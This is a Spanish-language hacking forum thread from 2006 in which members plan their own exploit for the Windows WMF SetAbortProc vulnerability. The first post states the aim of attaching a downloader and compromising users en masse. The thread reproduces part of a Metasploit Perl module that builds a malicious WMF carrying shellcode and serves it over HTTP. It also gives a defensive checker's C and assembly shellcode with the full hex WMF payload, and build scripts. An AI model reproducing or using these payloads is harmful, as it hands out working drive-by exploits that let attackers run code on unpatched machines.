elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 09:19  


Tema destacado: [Overclocking] Récords de overclock del foro

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Creacion del Exploit para WMF
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: Creacion del Exploit para WMF  (Leído 6,859 veces)
dxr
Colaborador
***
Desconectado Desconectado

Mensajes: 2.991



Ver Perfil
Creacion del Exploit para WMF
« en: 2 Enero 2006, 17:12 »

Alguien esta interesado en hacer un exploit para esta vulnerabilidad? ya me supongo que esos que usan el metsploit no kerran... peor haya ellos  a parte de eyos alguien esta interesado? Señor moderador tu?

Me preguntaba... el msn sera vulnerable? usara esa libreria? XD
En línea

Hacer preguntas concretas, claras y aportando toda la documentación necesaria.
De lo contrario, no tendreis una respuesta clara.
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Creacion del Exploit para WMF
« Respuesta #1 en: 2 Enero 2006, 22:42 »

jaja
Sr.Moderador
Si creo que seria bueno, en que seria en C, o en Perl.. (PHP tambien se podria :))

Saludos!!

PD. DEREK_X te puse de encargado del taller de "creación de un exploit" ;)
En línea

dxr
Colaborador
***
Desconectado Desconectado

Mensajes: 2.991



Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #2 en: 2 Enero 2006, 22:51 »

Pues hoy no e tenio el tiempo q keria... tengo q leerme como se crea la imagen malintencionada y ver de cuanto buffer disponemos... pero lo suyo seria mete run downloader... con los explopits q e visto nos e puede juankear en masa XD...

asiq si va sponiendo info de este tipo y yo tambien entre los 2 podemos hacerlo... nose si aria falta crearlo en C xq solo abria q hace rla imagen ;)
En línea

Hacer preguntas concretas, claras y aportando toda la documentación necesaria.
De lo contrario, no tendreis una respuesta clara.
SeniorX


Desconectado Desconectado

Mensajes: 1.347


Programador Novato


Ver Perfil WWW
Re: Creacion del Exploit para WMF
« Respuesta #3 en: 2 Enero 2006, 22:56 »

si lo hacen en php podria ayudar, en el caso de que sea en c, quizas los pueda ayudar, no me manejo mucho en C.
En línea

Código:
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}
Precaución: La programacion puede producir adiccion
dxr
Colaborador
***
Desconectado Desconectado

Mensajes: 2.991



Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #4 en: 2 Enero 2006, 23:55 »

el problema no es el lenguaje... sino la forma de crear la foto...
En línea

Hacer preguntas concretas, claras y aportando toda la documentación necesaria.
De lo contrario, no tendreis una respuesta clara.
sulrun

Desconectado Desconectado

Mensajes: 33


Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #5 en: 2 Enero 2006, 23:59 »

Estaria muy bien, yo no puedo aportar gran cosa mas que mi apoyo, la verdad resulta muy pesado tener que abrir la consola y tenerla puesta ala escucha cada vez que alguien visualize la imagen
En línea
SeniorX


Desconectado Desconectado

Mensajes: 1.347


Programador Novato


Ver Perfil WWW
Re: Creacion del Exploit para WMF
« Respuesta #6 en: 3 Enero 2006, 00:07 »

el problema no es el lenguaje... sino la forma de crear la foto...
No me imagino que sea muy dificil, ya existe un codigo exploit, seria cosa de ver como genera la foto en el codigo existente e intentar mejorarlo o traducirlo a otro lenguaje.
En línea

Código:
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}
Precaución: La programacion puede producir adiccion
dxr
Colaborador
***
Desconectado Desconectado

Mensajes: 2.991



Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #7 en: 3 Enero 2006, 00:10 »

Eso e sloq  quiero ver pero hoy no e tenido time....
En línea

Hacer preguntas concretas, claras y aportando toda la documentación necesaria.
De lo contrario, no tendreis una respuesta clara.
Codename!!


Desconectado Desconectado

Mensajes: 881



Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #8 en: 3 Enero 2006, 00:40 »

Mientras no detecten los av ese exploit, doy mi ánimo y delphi, aunke como eh oido los lenguajes no resultan problemas.
En línea

No te dejes mover por las masas, se tu mismo.




mousehack


Desconectado Desconectado

Mensajes: 1.142

Ex-Colaborador....!!!!!!XD


Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #9 en: 3 Enero 2006, 02:18 »

espero que despues publiquen los resultados para los ñewbies como yo ::)

Salu2
En línea



VISITEN MI BLOG PERSONAL....
http://mousehack.blogspot.com/ ...XD
lyssar

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #10 en: 3 Enero 2006, 16:09 »

Bueno, pienso que lo primero seria analizar el codigo fuente...pero solo la ultima parte del exploit
Código:
my $shellcode = $self->GetVar('EncodedPayload')->Payload;

# Push our minimum length just over the ethernet MTU
my $pre_mlen = 1440 + rand(8192);
my $suf_mlen = rand(8192)+128;

# The number of random objects we generated
my $fill = 0;

# The buffer of random bogus objects
my $pre_buff = "";
my $suf_buff = "";

while (length($pre_buff) < $pre_mlen && $fill < 65535) {
$pre_buff .= RandomWMFRecord();
$fill += 1;
}

while (length($suf_buff) < $suf_mlen && $fill < 65535) {
$suf_buff .= RandomWMFRecord();
$fill += 1;
}

my $clen = 18 + 8 + 6 + length($shellcode) + length($pre_buff) + length($suf_buff);
my $content =
#
# WindowsMetaHeader
#
pack('vvvVvVv',
# WORD FileType; /* Type of metafile (0=memory, 1=disk, 2=fjear) */
int(rand(2))+1,
# WORD HeaderSize; /* Size of header in WORDS (always 9) */
9,
# WORD Version; /* Version of Microsoft Windows used */
0x0300,
# DWORD FileSize; /* Total size of the metafile in WORDs */
$clen/2,
# WORD NumOfObjects; /* Number of objects in the file */
$fill+1,
# DWORD MaxRecordSize; /* The size of largest record in WORDs */
int(rand(64)+8),
# WORD NumOfParams; /* Not Used (always 0) */
0
).
#
# Filler data
#
$pre_buff.
#
# StandardMetaRecord - Escape()
#
pack('Vvv',
# DWORD Size; /* Total size of the record in WORDs */
4,
# WORD Function; /* Function number (defined in WINDOWS.H) */
0x0026, # Can also be 0xff26, 0x0626, etc...
# WORD Parameters[]; /* Parameter values passed to function */
9,
). $shellcode .
#
# Filler data
#
$suf_buff.
#
# Complete the structure
#
pack('Vv',
3,
0
);


$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending ".length($shellcode)."
bytes of payload...");


# Transmit the HTTP response
my $req =
"HTTP/1.0 200 OK\r\n" .
"Content-Type: text/plain\r\n" .
RandomHeaders().
"Content-Length: " . length($content) . "\r\n" .
"Connection: close\r\n" .
"\r\n" .
$content;


my $res = $fd->Send($req);

# Prevents IE from throwing an error in some cases
select(undef, undef, undef, 0.1);

$fd->Close();

# The Content-Disposition trick was not very reliable (2003 ignores it)
# "Content-Disposition: inline; filename=". Pex::Text::AlphaNumText(int(rand(1024)+1)) .".jpg\r\n".
}


sub RandomWMFRecord {
my $type = int(rand(3));

if ($type == 0) {
# CreatePenIndirect
return pack('Vv',
8,
0x02FA
). Pex::Text::RandomData(10)
}
elsif ( $type == 1 ) {
# CreateBrushIndirect
return pack('Vv',
7,
0x02FC
). Pex::Text::RandomData(8)
}
else {
# Rectangle
return pack('Vv',
7,
0x041B
). Pex::Text::RandomData(8)
}
}


sub RandomHeaders {
my $self = shift;
my $head = '';

while (length($head) < 3072) {
$head .= "X-" .
Pex::Text::AlphaNumText(int(rand(30) + 5)) . ': ' .
Pex::Text::AlphaNumText(int(rand(256) + 5)) ."\r\n";
}
return $head;
}


sub RandomPath {
my $self = shift;
my $path = '';

while (length($path) < 1024) {
$path .= "/" . Pex::Text::AlphaNumText(int(rand(15) + 5));
}
return $path;
}

un primer vistazo me hace pensar que genera una cabecera y un final aleatoirio (incluso genera "dibujitos") para luego crear el archivo segun el tamaño especificado (18 para la cabecera, 8 y 6 creo que son el codigo Escape y el de finalizacion de archivo,luego el tamaño de nuestra shellcode, y los tamaños del prebuffer y subbuffer generados)
Estos buffers se generan haciendo unos 65 y pico ( ;D) registros WMF, que son simples puntos aleatorios...
Luego genera el contenido del archivo (cabecera+buffer 1 de relleno+comando Escape() con parametro 9+shellcode+buffer2 de relleno+codigo para completar la estructura)
Finalmente envia el contenido a la victima(a su navegador).
Por cierto esta version parece que trabaja con el MTU para evitar que se detecte el exploit en el primer pakete ip que se envie...creo...

Puedo estar equivocado, pero creo esto es solo  un primer analisis despues de echar un vistazo al código....
En línea
dxr
Colaborador
***
Desconectado Desconectado

Mensajes: 2.991



Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #11 en: 3 Enero 2006, 16:27 »

bueno segun estoy viendo... al fin y al cabo si crearamos un archivo.wfm y lo abrieramos con el block de notas veriamos opcodes no??? amos eso es lo q creo q hace el exploit mandar solo opcodes... 1º manda:

$self->wmf_head . "  SHELLCODE  " . $self->wmf_foot;

osea el contenido de la funcion wmf_head que sera la cabecera q seria curioso poder saber q es exactamente.

luego la shellcode q nose si tendra alguna limitaciond e buffer o daria = meter 100 bytes q 2000 bytes... y luego

el wmf_foot que ni e mirado q puede ser... tambien hay q hacernos un pekeño crookis del estado de la pila justo en el momento donde se empieza a sobreescribir el 1º registro...
En línea

Hacer preguntas concretas, claras y aportando toda la documentación necesaria.
De lo contrario, no tendreis una respuesta clara.
MazarD
Colaborador
***
Desconectado Desconectado

Mensajes: 880


mazard.info


Ver Perfil WWW
Re: Creacion del Exploit para WMF
« Respuesta #12 en: 3 Enero 2006, 17:10 »

Buenas gente,
Como decia DEREK_X lo primero sería saber como construir y como funciona un WMF estandar, he estado mirando especificaciones por ahí y he escrito un pequeño resumen que nos puede ayudar (hay que tener aunque sea la base de como funciona GDI para pillar la idea):

----Organización del archivo---

Standard Metafile Header
Standard Metafile Record 1
Standard Metafile Record 2
          ...
Standard Metafile Record N
-------------------------------

La cabezera de un WMF estandar ocupa 18 Bytes i su estructura seria la siguiente:

typedef struct _WindowsMetaHeader
{
  WORD  Filetype;
  WORD  HeaderSize;
  WORD  Version;
  DWORD FileSize;
  WORD  NumOfObjects;
  DWORD MaxRecordSize;
  WORD  NumOfParams;
} WMFHEAD;

FileType------> 0 para guardarlo en memoria, 1 para guardarlo en disco.
HeaderSize----> Tamaño de la cabezera en WORDS, como no hay ningún tipo variable será siempre 9.
Version-------> Se refiere a la version de windows en la que se creará el metafile. Desde la version 3
      en adelante será 0x300
FileSize------> El tamaño total del metafile en WORDS
NumofObjects--> El número de registros que tendrá el archivo
MaxRecordSize-> El tamaño máximo de registro en WORDS
NumOfParams---> siempre 0

Los registros estan definidos por el tipo METARECORD definido en windows.h
Al parecer el NumOfParams lo modificará la GDI nosotros solo tenemos que poner 0

typedef struct _StandardMetaRecord
{
    DWORD Size;
    WORD  Function;
    WORD  Parameters[];
} WMFRECORD;


Size--------> Tamaño total de los registros en WORDS, el mismo size tambien hay que contarlo.
Function----> El byte de menor peso identifica la función GDI y el de mayor peso es el número de parametros
              que pasaremos a la función
Parameters--> Matriz que contendrá los parametros de la función pasados en orden inverso al que son llamados

Cada registro és leido y su función se llama en el mismo orden en el que estan guardados en el archivo.
Por último para determinar el fin del archivo pasaremos como número de función 0, no pasaremos parametros y
lógicamente el Size será 0x0003


Yo todavia no me he estudiado el exploit que anda por ahí pero a lo que dice lyssar un registro no tiene porqué ser un punto, es una GDI que puede generar cualquier cosa(una linea, un rectangulo, texto...)
El siguiente paso que habria que seguir es ver como funciona la setabortproc si esta en ella la vulnerabilidad o encontrar donde está y mirar las funciones que podemos aprovechar para explotarla. Y bueno, tampoco creo que el bug esté en la cantidad de registros que se manden ya que por lo que he leido en la especificación del formato se dice que para que el metaarchivo sea estandar no debe superar los setenta i pico kb
En línea

-Learn as if you were to live forever, live as if you were to die tomorrow-

http://www.mazard.info
http://twitter.com/MazarD
irc://irc.freenode.org/elhacker.net
mousehack


Desconectado Desconectado

Mensajes: 1.142

Ex-Colaborador....!!!!!!XD


Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #13 en: 3 Enero 2006, 17:29 »

a ver si les sirve de algo los archivos del test de Ilfak Guilfanov, quiza les de una idea.El test tiene siete archivos, dos bat:
Código:
@echo off
rem this batch file builds a program to test for the vulnerability
cl -IC:\PROGRA~1\MIAF9D~1\VC98\INCLUDE\ /O2 /GS- wmf_checker_hexblog.cpp /link /subsystem:windows kernel32.lib /entry:WinMain /include:_copyr

Código:
@echo off
rem this batch builds a WMF file which uses to vulnerability
rem to display a message on the screen
tasm32 /m5 tell.asm
ulink tell.obj
bcopy tell.exe wmf_tail.wmf 0x200
copy /b wmfhdr.wmf+wmf_tail.wmf wmf_tester.wmf
del wmf_tail.wmf
bin2c wmf_tester.wmf wmfdata.cpp

un archivo en C
Código:
#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")

typedef BYTE uchar;

#include "wmfdata.cpp"

//---------------------------------------------------------------------------
extern "C" const char copyr[] = "Copyright 2006 by Ilfak Guilfanov, ig@hexblog.com\0"
                                "http://www.hexblog.com";

static char tmp_name[MAX_PATH];

//---------------------------------------------------------------------------
void error(const char *message)
{
  MessageBox(NULL, message, NULL, MB_OK);
  ExitProcess(1);
}

//---------------------------------------------------------------------------
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
  MessageBox(NULL,
             "This program checks your system against the WMF vulnerability.\n"
             "\n"
             "It does not do anything harmful to your computer and does not\n"
             "alter any files on it.\n"
             "\n"
             "When you press OK, the test results will be displayed on the screen.\n"
             "\n"
             "Copyright 2006 by Ilfak Guilfanov, http://www.hexblog.com",
             "WMF Vulnerability Checker v1.1",
             MB_OK);

  char path[1024];
  GetTempPath(sizeof(path), path);

  HMETAFILE h = SetMetaFileBitsEx(sizeof(array), (BYTE*)array);
  if ( h == NULL )
    error("ERROR: could not create metafile");

  RECT Rect; // rendering rectangle, anything will do
  Rect.left   = 0;
  Rect.top    = 0;
  Rect.bottom = 500;
  Rect.right  = 500;
  GetTempFileName(path, "ig", 0, tmp_name);
  HDC DC = CreateEnhMetaFile(NULL, tmp_name, &Rect, "Sample WMF");

  // PlayMetaFile crashes in the case of vulnerability
  PlayMetaFile(DC, h);
  DeleteFile(tmp_name);
  MessageBox(NULL,
             "You system seems to be invulnerable to the WMF exploit.\n"
             "\n"
             "Please note that this program tries only one WMF exploit.\n"
             "In theory other vulnerabilities and exploits are possible,\n"
             "so stay vigilant and update your systems frequently!",
             "No vulnerability has been detected",
             MB_OK);
  return 0;
}

otro ASM
Código:
        .386
        .model flat
        .code

rpush   macro xxx
        mov     ecx, offset xxx - offset L
        add     ecx, ebp
        push    ecx
        endm
        endp

start:
        call    L
L:
        pop     ebp
        call    qGetKernel32Handle
        mov     ebx, eax

        rpush   aLoadLibrary
        push    ebx
        call    qGetProcAddress

        rpush   aUser32
        call    eax

        rpush   aMessageBox
        push    eax
        call    qGetProcAddress

        push    0
        push    0
        rpush   message
        push    0
        call    eax ; MessageBox

        rpush   aExitProcess
        push    ebx
        call    qGetProcAddress

        push 1
        call eax ; ExitProcess

qGetKernel32Handle proc near
        xor     eax, eax
        mov     eax, fs:[eax+30h]
        test    eax, eax
        js      short loc_169067
        push    esi
        mov     eax, [eax+0Ch]
        mov     esi, [eax+1Ch]
        lodsd
        mov     eax, [eax+8]
        pop     esi
        retn
loc_169067:
        mov     eax, [eax+34h]
        add     eax, 7Ch
        mov     eax, [eax+3Ch]
        retn
qGetKernel32Handle endp

qGetProcAddress proc near                    ; CODE XREF: debug007:001690C3p

var_4= dword ptr -4
arg_0= dword ptr  4     ; library handle
arg_4= dword ptr  8     ; function name

        xor     eax, eax
        pusha
        mov     ebp, [esp+20h+arg_0]            ; kernel32 handle
        mov     eax, [ebp+3Ch]
        mov     edi, [ebp+eax+78h]
        add     edi, ebp
        mov     ecx, [edi+18h]
        mov     ebx, [edi+20h]
        add     ebx, ebp

nameloop:
        jecxz   short failed
        dec     ecx
        mov     esi, [ebx+ecx*4]
        add     esi, ebp
        push    esi
        push    [esp+24h+arg_4]
        call    strcmp
        test    eax, eax
        jnz     short nameloop

        mov     ebx, [edi+24h]
        add     ebx, ebp
        mov     cx, [ebx+ecx*2]
        mov     ebx, [edi+1Ch]
        add     ebx, ebp
        mov     eax, [ebx+ecx*4]
        add     eax, ebp
        mov     [esp+20h+var_4], eax

failed:
        popa
        retn
qGetProcAddress endp

strcmp  proc near

arg_0= dword ptr  8
arg_4= dword ptr  12

        push    ebp
        mov     ebp, esp
        push    esi
        push    edi
        push    ebx
        mov     esi, [ebp+arg_0]
        mov     edi, [ebp+arg_4]
        xor     eax, eax

charloop:
        mov     al, [esi]
        mov     bl, [edi]
        inc     esi
        inc     edi
        sub     al, bl
        jnz     fret
        test    bl, bl
        jnz     charloop

fret:
        pop     ebx
        pop     edi
        pop     esi
        pop     ebp
        ret     8
strcmp  endp


aMessageBox  db 'MessageBoxA', 0
aExitProcess db 'ExitProcess', 0
aLoadLibrary db 'LoadLibraryA', 0
aUser32      db 'user32.dll', 0
message db 'Your system is vulnerable to WMF exploits!', 0Ah
        db 0Ah
        db 'Please visit http://www.hexblog.com and install the hotfix!', 0
copyr   db 'WMF Vulnerability test file by Ilfak Guilfanov', 0
        align 4
        ; last record in the file
        dd   3
        dw   0

        end start

luego este:
Código:
static uchar array[] = {
0x01,0x00,0x09,0x00,0x00,0x03,0xE5,0x00,0x00,0x00,0x06,0x00,0x3D,0x00,0x00,0x00,
0x00,0x00,0x11,0x00,0x00,0x00,0x26,0x06,0x09,0x00,0x16,0x00,0xE8,0x00,0x00,0x00,
0x00,0x5D,0xE8,0x4A,0x00,0x00,0x00,0x8B,0xD8,0xB9,0xF3,0x00,0x00,0x00,0x03,0xCD,
0x51,0x53,0xE8,0x5B,0x00,0x00,0x00,0xB9,0x00,0x01,0x00,0x00,0x03,0xCD,0x51,0xFF,
0xD0,0xB9,0xDB,0x00,0x00,0x00,0x03,0xCD,0x51,0x50,0xE8,0x43,0x00,0x00,0x00,0x6A,
0x00,0x6A,0x00,0xB9,0x0B,0x01,0x00,0x00,0x03,0xCD,0x51,0x6A,0x00,0xFF,0xD0,0xB9,
0xE7,0x00,0x00,0x00,0x03,0xCD,0x51,0x53,0xE8,0x25,0x00,0x00,0x00,0x6A,0x01,0xFF,
0xD0,0x33,0xC0,0x64,0x8B,0x40,0x30,0x85,0xC0,0x78,0x0D,0x56,0x8B,0x40,0x0C,0x8B,
0x70,0x1C,0xAD,0x8B,0x40,0x08,0x5E,0xC3,0x8B,0x40,0x34,0x83,0xC0,0x7C,0x8B,0x40,
0x3C,0xC3,0x33,0xC0,0x60,0x8B,0x6C,0x24,0x24,0x8B,0x45,0x3C,0x8B,0x7C,0x05,0x78,
0x03,0xFD,0x8B,0x4F,0x18,0x8B,0x5F,0x20,0x03,0xDD,0xE3,0x2B,0x49,0x8B,0x34,0x8B,
0x03,0xF5,0x56,0xFF,0x74,0x24,0x2C,0xE8,0x1D,0x00,0x00,0x00,0x85,0xC0,0x75,0xEA,
0x8B,0x5F,0x24,0x03,0xDD,0x66,0x8B,0x0C,0x4B,0x8B,0x5F,0x1C,0x03,0xDD,0x8B,0x04,
0x8B,0x03,0xC5,0x89,0x44,0x24,0x1C,0x61,0xC3,0x55,0x8B,0xEC,0x56,0x57,0x53,0x8B,
0x75,0x08,0x8B,0x7D,0x0C,0x33,0xC0,0x8A,0x06,0x8A,0x1F,0x46,0x47,0x2A,0xC3,0x75,
0x04,0x84,0xDB,0x75,0xF2,0x5B,0x5F,0x5E,0x5D,0xC2,0x08,0x00,0x4D,0x65,0x73,0x73,
0x61,0x67,0x65,0x42,0x6F,0x78,0x41,0x00,0x45,0x78,0x69,0x74,0x50,0x72,0x6F,0x63,
0x65,0x73,0x73,0x00,0x4C,0x6F,0x61,0x64,0x4C,0x69,0x62,0x72,0x61,0x72,0x79,0x41,
0x00,0x75,0x73,0x65,0x72,0x33,0x32,0x2E,0x64,0x6C,0x6C,0x00,0x59,0x6F,0x75,0x72,
0x20,0x73,0x79,0x73,0x74,0x65,0x6D,0x20,0x69,0x73,0x20,0x76,0x75,0x6C,0x6E,0x65,
0x72,0x61,0x62,0x6C,0x65,0x20,0x74,0x6F,0x20,0x57,0x4D,0x46,0x20,0x65,0x78,0x70,
0x6C,0x6F,0x69,0x74,0x73,0x21,0x0A,0x0A,0x50,0x6C,0x65,0x61,0x73,0x65,0x20,0x76,
0x69,0x73,0x69,0x74,0x20,0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x77,0x77,0x77,0x2E,
0x68,0x65,0x78,0x62,0x6C,0x6F,0x67,0x2E,0x63,0x6F,0x6D,0x20,0x61,0x6E,0x64,0x20,
0x69,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x20,0x74,0x68,0x65,0x20,0x68,0x6F,0x74,0x66,
0x69,0x78,0x21,0x00,0x57,0x4D,0x46,0x20,0x56,0x75,0x6C,0x6E,0x65,0x72,0x61,0x62,
0x69,0x6C,0x69,0x74,0x79,0x20,0x74,0x65,0x73,0x74,0x20,0x66,0x69,0x6C,0x65,0x20,
0x62,0x79,0x20,0x49,0x6C,0x66,0x61,0x6B,0x20,0x47,0x75,0x69,0x6C,0x66,0x61,0x6E,
0x6F,0x76,0x00,0x90,0x03,0x00,0x00,0x00,0x00,0x00};

y por ultimo dos imagenes WMF

espero les sirva de ayuda para tener un mejor panorama

Salu2

PD:cuando ejecute el test en mi maquina, obviamente me aparecio el dialogo de que soy vulnerable, y la pantalla se puso negra, intente ver si habia algun proceso corriendo para matarlo, pero este no existia, lo que me obligo a resetear el sistema.Luego de reiniciado, nuevamente ¨sos vulnerable¨y a resetear de nuevo, por lo que me vi obligado a renombrar los archivos anteriores para que no se sigan ejecutando :-\
« Última modificación: 3 Enero 2006, 17:42 por mousehack » En línea



VISITEN MI BLOG PERSONAL....
http://mousehack.blogspot.com/ ...XD
dxr
Colaborador
***
Desconectado Desconectado

Mensajes: 2.991



Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #14 en: 3 Enero 2006, 18:00 »

Bueno ahora estoy confuso XDDD... empezamos creando una imagen wmf o miramos el GDI ?


segun veo la funcion vulnerable pertenece a la libreria gdi32.dll peor vamos aver 1º necesitamos saber como es explotada exactamente y xq en el exploit usan la otra libreria:

SHIMGVW.DLL

http://216.239.59.104/search?q=cache:3W_z-GUlDYQJ:www.emancipacion.org/modules.php%3Fname%3DDownloads%26d_op%3Dgetit%26lid%3D29+SETABORTPROC&hl=es&lr=lang_es

« Última modificación: 3 Enero 2006, 18:30 por DEREK_X » En línea

Hacer preguntas concretas, claras y aportando toda la documentación necesaria.
De lo contrario, no tendreis una respuesta clara.
Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines